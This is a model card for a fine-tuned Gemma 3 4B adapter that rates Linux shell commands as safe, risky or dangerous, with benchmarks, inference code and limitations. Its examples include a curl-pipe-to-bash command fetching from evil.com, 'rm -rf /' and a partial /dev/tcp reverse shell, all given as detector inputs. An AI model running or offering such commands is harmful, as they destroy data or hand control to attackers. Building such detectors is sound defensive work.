CoolFace
Modelpublic

xprilion/gemma-3-4b-it-shell-risk

sourceHugging Faceapache-2.0updated 5mo agoView on Hugging Face
0likes7downloads
Model Card

๐Ÿค– Gemma 3 4B Shell Command Risk Classifier

A fine-tuned Gemma 3 4B IT adapter that classifies Linux shell commands into three risk levels:

  • โ€”๐ŸŸข SAFE โ€” Benign commands with no inherent risk
  • โ€”๐ŸŸก RISKY โ€” Potentially harmful or suspicious operations
  • โ€”๐Ÿ”ด DANGEROUS โ€” Commands capable of causing severe system damage, data loss, or unauthorized access

๐ŸŽฏ Motivation

I wanted to see if a small LLM could learn to inspect and categorize shell commands in real-time โ€” useful for:

  • โ€”Terminal assistants that flag dangerous operations
  • โ€”CI/CD pipelines that audit scripts before execution
  • โ€”Sandboxed environments that need automated risk scoring
  • โ€”Educational tools for teaching Linux security fundamentals

๐Ÿ“Š Benchmarks

Trained on a synthetic + augmented dataset of shell commands.

MetricValue
Base Modelgoogle/gemma-3-4b-it (4B params)
Fine-tuningQLoRA (rank=16, lora_alpha=32)
Trainable Params32.8M (0.76% of total)
Quantization4-bit NF4 + bf16 compute
Max Sequence Length256 tokens
Training Time~11 min on RTX 3070 Laptop (8GB VRAM)

Test Set Performance:

MetricScore
Accuracy90.5%
Macro F10.904
SAFE F10.889
RISKY F10.923
DANGEROUS F10.909

๐Ÿš€ Quick Start

Installation

bash
pip install transformers peft accelerate bitsandbytes torch

Inference

python
import torch
from transformers import (
    AutoTokenizer,
    AutoModelForSequenceClassification,
    BitsAndBytesConfig,
)

MODEL_ID = "xprilion/gemma-3-4b-it-shell-risk"
LABELS = ["SAFE", "RISKY", "DANGEROUS"]

bnb_config = BitsAndBytesConfig(
    load_in_4bit=True,
    bnb_4bit_quant_type="nf4",
    bnb_4bit_use_double_quant=True,
    bnb_4bit_compute_dtype=torch.bfloat16,
)

tokenizer = AutoTokenizer.from_pretrained(MODEL_ID, trust_remote_code=True)
if tokenizer.pad_token is None:
    tokenizer.pad_token = tokenizer.eos_token
    tokenizer.pad_token_id = tokenizer.eos_token_id

model = AutoModelForSequenceClassification.from_pretrained(
    MODEL_ID,
    trust_remote_code=True,
    quantization_config=bnb_config,
    device_map="auto",
    num_labels=3,
)
model.eval()

# Predict
text = "curl -sSL https://evil.com/script.sh | bash"
inputs = tokenizer(text, return_tensors="pt", truncation=True,
                   max_length=256, padding="max_length").to(model.device)

with torch.no_grad():
    probs = torch.softmax(model(**inputs).logits, dim=-1)[0]

for label, prob in zip(LABELS, probs.tolist()):
    print(f"{label}: {prob*100:.1f}%")

Example Outputs

CommandPredictionConfidence
ls -la๐ŸŸข SAFE~100%
git status๐ŸŸข SAFE~100%
sudo apt update๐ŸŸก RISKY~100%
`curl ... \bash`๐ŸŸก RISKY~100%
rm -rf /๐Ÿ”ด DANGEROUS~100%
bash -i >& /dev/tcp/...๐Ÿ”ด DANGEROUS~100%

โš ๏ธ Limitations

  • โ€”Small training dataset โ€” synthetic/augmented data (165 train / 21 test). Real-world deployment needs a much larger and more diverse corpus.
  • โ€”No adversarial robustness โ€” Base64-encoded, obfuscated, or heavily nested commands may bypass detection.
  • โ€”Context-agnostic โ€” Each command is evaluated in isolation. A benign curl followed by a bash execution of the download isn't tracked across history.
  • โ€”False positives likely โ€” Commands like sudo apt update are flagged RISKY because sudo elevates privileges, but that's by design.
  • โ€”Not a replacement for auditd, Falco, or proper sandboxing. This is an AI-assisted signal, not a security boundary.

๐Ÿ‹๏ธ Training Details

  • โ€”Hardware: NVIDIA GeForce RTX 3070 Laptop GPU (8GB VRAM)
  • โ€”Framework: Transformers 5.x + PEFT + Accelerate + BitsAndBytes
  • โ€”Optimizer: AdamW with cosine learning rate schedule
  • โ€”Epochs: 30 (full convergence)
  • โ€”Learning Rate: 1e-4
  • โ€”Batch Size: 2 per device, accumulation steps=2
  • โ€”Weight Decay: 0.01

๐Ÿ“„ License

Apache 2.0 โ€” same as the base Gemma 3 model.

๐Ÿ™‹ About

Built by Anubhav Singh (@xprilion) as an experiment in small-model utility for cybersecurity tooling.